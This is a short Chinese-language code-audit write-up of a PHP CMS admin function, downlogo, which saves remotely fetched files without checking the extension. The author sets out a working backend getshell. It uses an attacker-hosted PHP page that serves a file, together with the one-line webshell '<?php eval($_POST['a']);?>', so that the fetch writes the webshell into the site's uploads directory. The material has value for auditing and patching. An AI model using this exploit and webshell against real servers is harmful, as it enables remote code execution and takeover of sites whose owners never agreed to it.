代码审计1

审计到比较有趣的一个点。

 

1.后台getshell

 

class Flink{

function downlogo($logourl){

$url = parse_url($logourl);

$logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));

$path = PROJECT_PATH."public/uploads/logos/";

if(!file_exists($path)){

mkdir($path);

}

$location = $path.$logoname;

$data = file_get_contents($logourl);

if(strlen($data) > 0){

file_put_contents($location,$data);

return $logoname;

}else{

return false;

 

首先对扩展名没有过滤，然后file_get_contents读取了网页内容，于是我们构造php。代码如下

当时我想到的是下载，我是构造了一个下载成功。

比如我们远程构造任意文件下载，也可读取到文件的内容。

例如。test3.php

<?php

$filename=$_GET['file'];

header("Content-Type: application/force-download");

header("Content-Disposition: attachment; filename=".basename($filename));

readfile($filename);

?>

 

 

test.php

<?php eval($_POST['a']);?>

 

http://127.0.0.1/test/test3.php?file=test.php即可

同样可以构造打印输出，file_get_contents同样可以获取内容

echo '<?php @eval($_POST['a']);?>';

 

即可在目录下生成一句话。